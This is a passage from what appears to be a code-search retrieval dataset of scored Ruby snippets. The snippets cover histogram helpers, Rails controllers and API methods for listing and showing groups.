if force\n @histogram ||= corpora.inject({ }) do |m, c|\n m.deep_merge!(c.histogram(lookback))\n end\n @histogram\n end", "title": "" }, { "docid": "4895171ce7edaaaeb55408fe60424415", "score": "0.5317444", "text": "def histogram(stat, value, opts = EMPTY_OPTIONS)\n send_stats(stat, value, HISTOGRAM_TYPE, opts)\n end", "title": "" }, { "docid": "ae7e1589a731a89ba97f2dcf426f64dc", "score": "0.52911407", "text": "def add_histogram(name, description, instance_labels = [], buckets = DEFAULT_BUCKETS)\n end", "title": "" }, { "docid": "e582eb6f92a4a291f9e6330331d42eb0", "score": "0.52830666", "text": "def histo(stat, value, sample_rate=1)\n send_stats stat, value, :h, sample_rate\n end", "title": "" }, { "docid": "06bb35ed0479181ec2cdd42c2af8cbff", "score": "0.52763546", "text": "def histogram\n @results.reduce(Hash.new(0)) do |hash, result|\n hash[result] += 1\n hash\n end.sort\n end", "title": "" }, { "docid": "835a163b3c5729859508f194494431fc", "score": "0.52414614", "text": "def save_histogram\n return unless opts[:H]\n say '- Saving histogram'\n File.open(opts[:H], 'w') do |fh|\n fh.puts \"from\\tto\\tcount\"\n sample.histo_ranges.each_with_index do |r, k|\n fh.puts (r + [sample.histo_counts[k]]).join(\"\\t\")\n end\n end\n end", "title": "" }, { "docid": "8503d69f28fcf8638aa0b6d43e6207cc", "score": "0.5214525", "text": "def hourly_histogram_params\n params.require(:hourly_histogram).permit(:name, :tweet_count, :since_id, :histogram, :metric, :stream)\n end", "title": "" }, { "docid": "153bad64fd5ce60de2db755b591c5993", "score": "0.5200595", "text": "def labeled_histogram\n query_for_buckets.each_with_object({}) do |row, results|\n results[bucket_num_to_label(row[BUCKET_COL].to_i)] = row[FREQUENCY_COL].to_i \\\n unless row[BUCKET_COL].nil?\n end\n end", "title": "" }, { "docid": "7f1201ae75a6353f574a31d8a6cf2a97", "score": "0.5185473", "text": "def histogram\n pixarr = @pixels.to_a.flatten\n Hash[16.times.map {|c| [c, pixarr.count(c)] }]\n end", "title": "" }, { "docid": "7f1201ae75a6353f574a31d8a6cf2a97", "score": "0.5185473", "text": "def histogram\n pixarr = @pixels.to_a.flatten\n Hash[16.times.map {|c| [c, pixarr.count(c)] }]\n end", "title": "" }, { "docid": "86e736660d76d02470ab247eb2c6b947", "score": "0.5182676", "text": "def histogram(force = false)\n @histogram = nil if force\n @histogram ||= corpora.inject({ }) do |m, c|\n m.deep_merge!(c.histogram(lookback))\n end\n @histogram\n end", "title": "" }, { "docid": "b1db19e295d286e982ead7f1e6ed70aa", "score": "0.5178516", "text": "def hist(arr)\n histogram = Hash.new(0)\n arr.each { |item| histogram[item] += 1 }\n histogram\n end", "title": "" }, { "docid": "9a6be4f06edf5579a1bfa5e6d060804b", "score": "0.5173407", "text": "def index\n @histories = History.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @histories }\n end\n end", "title": "" }, { "docid": "9996472663f38262a454bf44409d014d", "score": "0.51615775", "text": "def _index_Build_hist_sets\n \n hist_sets = []\n \n @pur_hists.each_with_index do |hist, i|\n \n hist_set = HistSet.new()\n \n if hist.item_ids == nil\n \n next\n \n end\n \n item_ids = hist.item_ids.split(\" \")\n \n items = {}\n \n item_ids.each_with_index do |elem, j|\n \n id_num = elem.split(\",\")[0].to_i\n \n item = Item.first(:conditions => [\"mobile_id = ?\", id_num])\n # item = Item.first(:conditions => [\"id = ?\", id_num])\n \n if item == nil\n \n next\n \n end\n \n items[item] = {\"num\" => elem.split(\",\")[1].to_i}\n # {<Item> => {\"num\" => 1}, <Item> => {\"num\" => 2}, ...}\n # items << item\n \n end#item_ids.each_with_index do |num, j|\n \n hist_set.items = items\n \n hist_set.history = hist\n \n hist_sets << hist_set\n \n end#@pur_hists.each_with_index do |hist, i|\n \n return hist_sets\n \n end", "title": "" }, { "docid": "3ec7a53eb20adc9bff330bca9b27a996", "score": "0.516006", "text": "def histogram(bins)\n Histogram.new(self, bins)\n end", "title": "" }, { "docid": "a5eee55e6e20ee5a63f6c7cb40f8a576", "score": "0.51495576", "text": "def destroy\n @hourly_histogram.destroy\n respond_to do |format|\n format.html { redirect_to hourly_histograms_url, notice: 'Hourly histogram was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b7f235bbd53aa35dd6046b32ddcf3465", "score": "0.5141177", "text": "def set_hourly_histogram\n @hourly_histogram = HourlyHistogram.find(params[:id])\n end", "title": "" }, { "docid": "cb41e60b6f8dfbdb035a63657912b605", "score": "0.5129796", "text": "def create\n @hourly_histogram = HourlyHistogram.new(hourly_histogram_params)\n\n respond_to do |format|\n if @hourly_histogram.save\n format.html { redirect_to @hourly_histogram, notice: 'Hourly histogram was successfully created.' }\n format.json { render :show, status: :created, location: @hourly_histogram }\n else\n format.html { render :new }\n format.json { render json: @hourly_histogram.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07862b10ab17219bd05a4501951105a3", "score": "0.51218563", "text": "def get_aggregates_histogram_with_http_info(start_date, end_date, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MessagesApi.get_aggregates_histogram ...\"\n end\n # verify the required parameter 'start_date' is set\n fail ArgumentError, \"Missing the required parameter 'start_date' when calling MessagesApi.get_aggregates_histogram\" if start_date.nil?\n # verify the required parameter 'end_date' is set\n fail ArgumentError, \"Missing the required parameter 'end_date' when calling MessagesApi.get_aggregates_histogram\" if end_date.nil?\n # resource path\n local_var_path = \"/messages/analytics/histogram\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'startDate'] = start_date\n query_params[:'endDate'] = end_date\n query_params[:'sdid'] = opts[:'sdid'] if !opts[:'sdid'].nil?\n query_params[:'field'] = opts[:'field'] if !opts[:'field'].nil?\n query_params[:'interval'] = opts[:'interval'] if !opts[:'interval'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['artikcloud_oauth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AggregatesHistogramResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MessagesApi#get_aggregates_histogram\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "d0cf9a40f495cb9fae7f0c197140d563", "score": "0.5107168", "text": "def get_array_counts \n get(\"/arrays.json/summary\")\nend", "title": "" }, { "docid": "f0f8f98410917e905d025b84554bcab3", "score": "0.5096127", "text": "def create_composite_histogram\n current_histogram = Histogram.find_or_create_by!(\n histogramable_id: id,\n histogramable_type: self.class.name\n )\n parsed = {}\n images.each do |image|\n image.calculate_histogram_now if image.histogram.nil?\n # Merge the values together\n parsed = parsed.merge(image.reload.parsed_histogram) do |_k, v1, v2|\n v1.to_i + v2.to_i\n end\n end\n current_histogram.update(histogram: parsed.to_json)\n save_histogram_file\n end", "title": "" }, { "docid": "30cea317b0e6b10ba800c020afc64eee", "score": "0.5092342", "text": "def index\n @historia = Historium.all\n end", "title": "" }, { "docid": "93e5c9db5fb5d1927049c3f9493f3945", "score": "0.5076512", "text": "def histogram(count=1000)\n Hash.new(0).tap {|hist| count.times { hist[sample] += 1 }}\n end", "title": "" }, { "docid": "bdc5bf39b885696b6f881eda38a3894c", "score": "0.5059661", "text": "def query_batches(options={})\n path = \"/api/v2/batches\"\n get(path, options)\n end", "title": "" }, { "docid": "391b96f2b34ebc5c1f40e30f14073690", "score": "0.50509787", "text": "def save_histogram_file\n hist_json = histogram.histogram.tr('(', '[')\n hist_json = hist_json.tr(')', ']')\n File.write(histogram_file_name, hist_json)\n end", "title": "" }, { "docid": "d00ff4d054575555605d7358fa341bce", "score": "0.5048384", "text": "def frequency_histogram(file=\"myfile.png\", bin_width=@opts[:histo_bin_width], opts=@opts[:graphics])\n posns = self.snp_positions.collect {|a| a.first}\n r = new_r\n r.eval \"suppressMessages ( library(ggplot2) )\" #setup R environment... \n r.posns = posns\n r.eval \"data = data.frame(position=posns)\"\n r.eval \"png('#{file}', width=#{opts[:width]}, height=#{opts[:height]})\"\n graph_cmd = \"qplot(position,data=data, geom='histogram', binwidth = #{bin_width}, alpha=I(1/3), main='#{file}', color='red')\"\n r.eval(graph_cmd)\n r.eval \"dev.off()\"\n r.quit\n end", "title": "" }, { "docid": "54a0cd2dc0df73cce49fd05415cd0069", "score": "0.50478035", "text": "def index\n @metrics = Metric.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @metrics }\n end\n end", "title": "" }, { "docid": "4ba13f10de9970e155edddbba9797b31", "score": "0.50465363", "text": "def histogram(web_safe=false)\n new_wand = FFI::GMagick.CloneMagickWand( @wand )\n\n # \"WebSafe\" colors are built around the original 216 colors defined by Netscape\n if web_safe\n netscape = FFI::GMagick.NewMagickWand\n FFI::GMagick.MagickReadImage(netscape, 'NETSCAPE:')\n FFI::GMagick.MagickMapImage( new_wand, netscape, 1 )\n FFI::GMagick.DestroyMagickWand( netscape )\n end\n\n total_color_count = 0.0\n histogram = {}\n FFI::MemoryPointer.new(:ulong, 1) do |max_colors|\n pointer = FFI::GMagick.MagickGetImageHistogram( new_wand, max_colors )\n number_of_colors = max_colors.read_int\n\n pixel_wands = pointer.read_array_of_pointer(number_of_colors)\n pixel_wands.each do |wand|\n pixel = FFI::GMagick::Pixel.new(wand)\n hex_color = \"#%02X%02X%02X\" % pixel.get_color.split(\",\").map(&:to_i)\n color_count = pixel.get_color_count\n total_color_count += color_count\n histogram[hex_color] = color_count\n end\n end\n FFI::GMagick.DestroyMagickWand( new_wand )\n\n # Convert values to percentage of colors and remove infinitesimal numbers\n final = {}\n histogram.map do |k,v|\n final[k] = (v / total_color_count).round(3) if (v/total_color_count) >= 0.001\n end\n\n return final\n end", "title": "" }, { "docid": "c48ac1a193d941331b348b7e14146d22", "score": "0.5044566", "text": "def to_histogram\n inject(Hash.new(0)) { |h, x| h[x] += 1; h }\n end", "title": "" }, { "docid": "d405777253f91035609b1e26843a95c6", "score": "0.5042186", "text": "def generate_histogram_hash(image)\n return {} if image.type == :pbm\n original = image.pixels.dup.flatten \n\n #counting number of pixels per frequency\n freq = Hash.new 0\n original.map { |pixel| freq[pixel] += 1}\n \n freq\n end", "title": "" }, { "docid": "db4d18b84a2188f4e8ce04938b7daa4e", "score": "0.50394017", "text": "def index\n if @attachable\n @buckets = @attachable.buckets.uniq\n else\n @buckets = Bucket.all\n end\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# index.html.erb\n format.json { render json: @buckets }\n end\n end", "title": "" }, { "docid": "49d76d29c13f3ffed914a899251fa23a", "score": "0.5036914", "text": "def plot_histgram; end", "title": "" }, { "docid": "61f8b5ae87af60700c58d8194e0e2785", "score": "0.5023207", "text": "def index\n @batches = Batch.all(:order => \"created_at DESC\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @batches }\n end\n end", "title": "" }, { "docid": "0b7411958e1a02200136c0f6eb46ae7e", "score": "0.50214475", "text": "def index\n @histories = History.all\n respond_with(@histories)\n end", "title": "" }, { "docid": "257b0dbca83fc3b40eab0cb6ad6fd4f6", "score": "0.5021089", "text": "def index\n history = @user.histories\n histories = []\n @user.histories.each do |history|\n histories << { place_type: history.place_type, name: history.name, date: history.created_at.to_date }\n end\n render json: histories, status: 200\n end", "title": "" }, { "docid": "7f2cb2b6f5e055acf0a1c4ac80618d0e", "score": "0.5021007", "text": "def new\n @histogram = Histogram.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @histogram }\n end\n end", "title": "" }, { "docid": "6c4ff468a0191fd35b19a478d349a81b", "score": "0.50118333", "text": "def histogram\n # print params[:course_id]\n @course_id = params[:course_id]\n @course = Course.find(@course_id)\n\n @enrollsForClass = Enroll.select('enrolls.percentage').where(course_id: @course.course_id)\n @percentages = []\n @enrollsForClass.each do |enroll|\n @percentages.push(enroll.percentage)\n end\n end", "title": "" }, { "docid": "59add95764053f442fa40bbecb85e20d", "score": "0.50095683", "text": "def last_histogram\n last = 0\n histograms.each_with_index { |histos, index| last = index unless histos.empty? }\n last\n end", "title": "" }, { "docid": "40cefacc2de366341742d751131d6e53", "score": "0.5005917", "text": "def heatmap(histogram={})\n content = content_tag(:br)\n # Histogram is a hash in the form of \"<tag token>\" => <count>\n _max = histogram.map{|k,v| histogram[k]}.max * 2\n histogram.keys.sort{|a,b| histogram[a] <=> histogram[b]}.reverse.each do |k|\n next if histogram[k] < 1\n _size = (((histogram[k] / histogram.map{|key,val| histogram[key]}.sum.to_f) * 100) + 5).to_i\n _heat = sprintf(\"%02x\" % (255 - (_size * 25)))\n sty = \"color: ##{_heat}#{_heat}#{_heat}; font-size: #{_size}px; height: #{_max}px;\"\n content << content_tag(:div, k, :class => \"heatmap_element\", :style => sty)\n end\n content << content_tag(:br, \"\", :style => \"clear: both;\")\n end", "title": "" }, { "docid": "e6d0c218365993122e07bf31619f3679", "score": "0.5004928", "text": "def histogram\n if @changed_distribution\n stat = Stats.new\n @mean = stat.mean @bids\n @stddev = stat.stddev @mean, @bids\n @bid_distribution = stat.binHistogram @bids\n @changed_distribution = false\n end\n return @bid_distribution\n end", "title": "" }, { "docid": "86adbf6e6ff63e3b03b2de65bba0c8fc", "score": "0.50029695", "text": "def histogram(relation, column, buckets:, bucket_size: buckets.size)\n with_duration do\n # Using lambda to avoid exposing histogram specific methods\n parameters_valid = lambda do\n error_message =\n if buckets.first == buckets.last\n 'Lower bucket bound cannot equal to upper bucket bound'\n elsif bucket_size == 0\n 'Bucket size cannot be zero'\n elsif bucket_size > MAX_BUCKET_SIZE\n \"Bucket size #{bucket_size} exceeds the limit of #{MAX_BUCKET_SIZE}\"\n end\n\n break true unless error_message\n\n exception = ArgumentError.new(error_message)\n exception.set_backtrace(caller)\n Gitlab::ErrorTracking.track_and_raise_for_dev_exception(exception)\n\n false\n end\n\n break HISTOGRAM_FALLBACK unless parameters_valid.call\n\n count_grouped = relation.group(column).select(Arel.star.count.as('count_grouped'))\n cte = Gitlab::SQL::CTE.new(:count_cte, count_grouped)\n\n # For example, 9 segments gives 10 buckets\n bucket_segments = bucket_size - 1\n\n width_bucket = Arel::Nodes::NamedFunction\n .new('WIDTH_BUCKET', [cte.table[:count_grouped], buckets.first, buckets.last, bucket_segments])\n .as('buckets')\n\n query = cte\n .table\n .project(width_bucket, cte.table[:count])\n .group('buckets')\n .order('buckets')\n .with(cte.to_arel)\n\n # Return the histogram as a Hash because buckets are unique.\n relation\n .connection\n .exec_query(query.to_sql)\n .rows\n .to_h\n # Keys are converted to strings in Usage Ping JSON\n .stringify_keys\n rescue ActiveRecord::StatementInvalid => e\n Gitlab::AppJsonLogger.error(\n event: 'histogram',\n relation: relation.table_name,\n operation: 'histogram',\n operation_args: [column, buckets.first, buckets.last, bucket_segments],\n query: query.to_sql,\n message: e.message\n )\n # Raises error for dev env\n Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)\n HISTOGRAM_FALLBACK\n end\n end", "title": "" }, { "docid": "432094b9681e5885be2ee1d3926a411d", "score": "0.5001674", "text": "def index\n @metric_observations = MetricObservation.with_query_params(query_params).order(:time)\n @metric_definition = MetricDefinition.find(params[:metric_definition_id])\n @execution = BenchmarkExecution.find(params[:benchmark_execution_id]) if params[:benchmark_execution_id].present?\n respond_to do |format|\n format.html { @metric_observations = @metric_observations.paginate(page: params[:page], per_page: 30); render action: 'index' }\n format.csv { send_data MetricObservation.to_csv(@metric_observations) }\n end\n rescue => error\n flash[:error] = error.message.html_safe\n redirect_to benchmark_definitions_path\n end", "title": "" }, { "docid": "f7356718039a4f18d1ad4c74fee90212", "score": "0.49890378", "text": "def index\n @historials = Historial.all\n end", "title": "" }, { "docid": "3efa35575dd9fa3c899a819ddaccee7c", "score": "0.4988271", "text": "def histories_show\n @gallery = Gallery.find(params[:id])\n @ads = @gallery.ads\n @history_info = @ads.map do |ad|\n has_seen_total = ad.histories.count { |e| e.has_been_seen == true }\n has_notseen_total = ad.histories.count { |e| e.has_been_seen == false }\n total = has_seen_total + has_notseen_total\n history = {\n has_seen_total: has_seen_total,\n has_notseen_total: has_notseen_total,\n total: total\n }\n\n end\n\n if @history_info\n render json: {\n gallery: @gallery,\n ads: @ads,\n history_info: @history_info,\n }\n else\n render json: {\n status: 500,\n errors: ['no histories found']\n }\n end\n end", "title": "" }, { "docid": "4049ecbc44537ba98fea216bc6f04d22", "score": "0.49806583", "text": "def generate_histogram(image)\n return image if image.type == :pbm\n \n #getting histogram hash\n freq = generate_histogram_hash(image)\n \n #changing number of pixels per frequency to percent of max number of pixels per frequency\n per_freq = 100.0 / freq.values.max\n freq.each { |k, v| freq[k] = (v.to_f * per_freq).round }\n \n #filling histogram horizontally\n histogram_frame = Array.new(image.maxgray, Array.new(100, 1))\n histogram = histogram_frame.map.with_index { |row, cur_freq| row.\n map.with_index { |pixel, i| i >= freq[cur_freq] ? 0 : 1 }}\n \n #returning proper histogram (90° Counterclockwise Rotation)\n PNM.create(histogram.transpose.reverse!, {:type => :pbm})\n end", "title": "" } ]
b2135831ec0e164206cafd655e483de4
GET /groups/1 GET /groups/1.json
[ { "docid": "fd96893720254ab2c177cdfcc1ce6087", "score": "0.0", "text": "def show\n @group\n end", "title": "" } ]
[ { "docid": "7761dcbf8079fbe8d9838f059e843811", "score": "0.80147827", "text": "def groups\n @page = 'groups'\n respond_to do |format|\n format.html {\n @groups = Group.find(:all)\n }\n format.json { }\n end\n end", "title": "" }, { "docid": "1f843b01e13360c0143c4faaad1f177d", "score": "0.79820716", "text": "def index\n @groups = Api::V1::Group.all\n\n render json: @groups\n end", "title": "" }, { "docid": "584fc326af7b12a5bf2447061dd516c0", "score": "0.7919774", "text": "def group(id)\n get \"/groups/#{id}\"\n end", "title": "" }, { "docid": "40158a306d172d148ad8c9b38846e2eb", "score": "0.7885749", "text": "def retrieve_groups()\n start.uri('/api/group')\n .get()\n .go()\n end", "title": "" }, { "docid": "c449413110964807364c22a01ac02ab9", "score": "0.7875697", "text": "def retrieve_groups()\n start.uri('/api/group')\n .get()\n .go()\n end", "title": "" }, { "docid": "565c46751df83f2984590f468f460593", "score": "0.78422344", "text": "def index\n @group = Group.find(params[:group_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @group }\n end\n end", "title": "" }, { "docid": "9ec278d946a4a08d671dbb866559feaa", "score": "0.78269", "text": "def get_groups\n endpoint = '/groups'\n url = self.base_url.to_s + endpoint.to_s + self.format.to_s\n self.get_data(url)\n end", "title": "" }, { "docid": "306c4584b3957f7accbc7faeb089089d", "score": "0.7718757", "text": "def group(id)\n get(\"/groups/#{id}\")\n end", "title": "" }, { "docid": "e90f32f61ab988fe5ac5d1c17a4b68a0", "score": "0.76669353", "text": "def index\n @groups = Group.where(:user_id => user_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "0171df9d90002a604a4b1dc9e4463921", "score": "0.760015", "text": "def index\n @groups = Group.all.collect {|g| g.to_hash}\n render json: {groups: @groups}, status: :ok\n end", "title": "" }, { "docid": "f268ddd0025756e06d29808fa898b979", "score": "0.75991106", "text": "def index\n response = { groups: Group.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end", "title": "" }, { "docid": "dd9497cf4e250bf9cbab308299020c00", "score": "0.75840867", "text": "def group\n @group = Idol.where(group: params[:group])\n render \"group.json.jb\"\n end", "title": "" }, { "docid": "1a5f7fab306778442c6ee64d3651b209", "score": "0.75532204", "text": "def show\n @group = Group.find_by_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "c8d6f3dd15a254c9d4be1c2f497081bb", "score": "0.7552194", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "c8d6f3dd15a254c9d4be1c2f497081bb", "score": "0.7552194", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "c8d6f3dd15a254c9d4be1c2f497081bb", "score": "0.7552194", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "c8d6f3dd15a254c9d4be1c2f497081bb", "score": "0.7552194", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "c8d6f3dd15a254c9d4be1c2f497081bb", "score": "0.7552194", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "c8d6f3dd15a254c9d4be1c2f497081bb", "score": "0.7552194", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "c8d6f3dd15a254c9d4be1c2f497081bb", "score": "0.7552194", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "f7561ae9f31c23495c90889c982f9929", "score": "0.7522696", "text": "def index\r\n @groups = current_user.groups\r\n\r\n render json: @groups\r\n end", "title": "" }, { "docid": "e747cdcab4d0ab62707ca84a905da6e2", "score": "0.7509501", "text": "def groups opts = {}\n get :group, opts\n end", "title": "" }, { "docid": "cb796a9ba6022118208208e4edc3afb1", "score": "0.75014067", "text": "def user_groups\n # render json: User.groups(params[:uid])\n render json: []\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74994075", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "1eda92470b836d76ec11843452fdc0da", "score": "0.74991333", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "97eb5aac4539525f84b93b2d8e97ccab", "score": "0.7491756", "text": "def groups\n\n\t\tif params[:id]\n\n\t\t\trender :json => User.find(params[:id]).groups\n\n\t\telse\n\n\t\t\trender :json => current_user.groups\n\n\t\tend\n\n\tend", "title": "" }, { "docid": "329f092a604fbdd70eb4214bf080deb3", "score": "0.74591666", "text": "def viewgroup\n groups = current_user.groups\n render :json => groups.to_json(:include => [:users => {:except => [:created_at, :updated_at, \n\t\t\t:password_digest, :remember_token]}]), :status => 200\n end", "title": "" }, { "docid": "2405ca278c01aca4c07be4a06aaae6af", "score": "0.7455988", "text": "def get_groups\n self.class.get(\"#{@url}/rest/user-management/groups\", basic_auth: @auth)\n end", "title": "" }, { "docid": "697916271b640c978c6d1c1106f79b09", "score": "0.7450814", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @group }\n end\n end", "title": "" }, { "docid": "84c20bb6b706a631749a76cb5c3742f5", "score": "0.74343586", "text": "def get_groups\n @course = Course.find(params[:course_id])\n\n render json: @course.groups\n end", "title": "" }, { "docid": "e3e36cd3bc023f9fd96c5164b7d59529", "score": "0.74270254", "text": "def user_groups\n # render :json => User.groups(params[:uid])\n render :json => [] \n end", "title": "" }, { "docid": "d34fe9ed23657b13b793a4f61b62c618", "score": "0.74249095", "text": "def show\n render json: @group\n end", "title": "" }, { "docid": "d34fe9ed23657b13b793a4f61b62c618", "score": "0.74249095", "text": "def show\n render json: @group\n end", "title": "" }, { "docid": "a850c3ac80e9cb2261c6fe37f95cca0e", "score": "0.74199253", "text": "def index\n @api_v1_groups = Api::V1::Group.all\n end", "title": "" }, { "docid": "11ec43838c0baedb633234c226d224b1", "score": "0.7393839", "text": "def index\n #@groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "b7d9f9ec172e0dc11641fca1f2e3f61d", "score": "0.7393217", "text": "def index\n\t\tputs \"returning all groups belonging to user\"\n\t\t@user = User.find_by(id: session[:user_id])\n\t\tgroups = []\n\t\t@user.user_groups.collect { |a| groups.push(a.group) }\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => groups}\n\t\tend\n\tend", "title": "" }, { "docid": "fd388205e7ff3fad4ce10ec6e70ff289", "score": "0.7382861", "text": "def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n #format.json { render json: @group }\n format.json { render_for_api :group, :json => @group }\n end\n end", "title": "" }, { "docid": "dafebb13de67b8973ad2320263e86ec9", "score": "0.7377335", "text": "def index\n render json: Group.all\n end", "title": "" }, { "docid": "e04e6097dbbcedb4b6c02414820b038a", "score": "0.73751533", "text": "def show\n @usergroup = Usergroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usergroup }\n end\n end", "title": "" }, { "docid": "3869be431a756eeb7818ecb326d3f4ce", "score": "0.73635435", "text": "def show\n @group = Group.find_key params[:id]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @group }\n end\n end", "title": "" }, { "docid": "75b14edd2d4a84b67adc6a027a905420", "score": "0.73544896", "text": "def get_groups\n\t\trespond_to do |format|\n if params[:user_id]\n \tuser = User.find(params[:user_id])\n groups = user.groups\n format.json { render :json => groups }\n else\n render :json => \"filtros incompletos\", :status => :unprocessable_entity\n end\n end\t\n end", "title": "" }, { "docid": "23c5edafc94d86bdc37725209b7042a8", "score": "0.73508817", "text": "def index\n @groups = Group.all\n render_json_serializer(@groups)\n end", "title": "" }, { "docid": "a3d5a59020c75fbf14ad9150e599fe50", "score": "0.7347286", "text": "def show\n @group = current_user.teached_groups.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "a50e37263919d938ced3090e9a987146", "score": "0.7340851", "text": "def groups\n result = get(\"groups\")\n end", "title": "" }, { "docid": "df7083fcd90b75347942aaa185d57913", "score": "0.7337069", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n# format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "86df0ddf701de956a5cf3a1776c4690a", "score": "0.7331553", "text": "def show\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_group }\n end\n end", "title": "" }, { "docid": "ef7681884a04aa74a6d8389fd0959d52", "score": "0.73225665", "text": "def index\n @groups = Group.all\n render json: @groups, status: 403\n end", "title": "" }, { "docid": "04a2d0a1e6d41531262f027b7ea7aa88", "score": "0.731781", "text": "def index\n\t\t@groups = Group.all\n\t\trender json: @groups\n\t end", "title": "" }, { "docid": "c334c161590f9d02b5001fe9810e450d", "score": "0.73178035", "text": "def show\n if @group\n render json: representer(@group).to_json\n else\n render status: 404, json: { errors: 'group not found' }\n end\n end", "title": "" }, { "docid": "0c033c6eef8638f14494fb42dafb78e6", "score": "0.730829", "text": "def groups_list\n request method: :get,\n url: @base_url + 'components/groups'\n end", "title": "" }, { "docid": "2651a4e06c31451948f2524f75403bd8", "score": 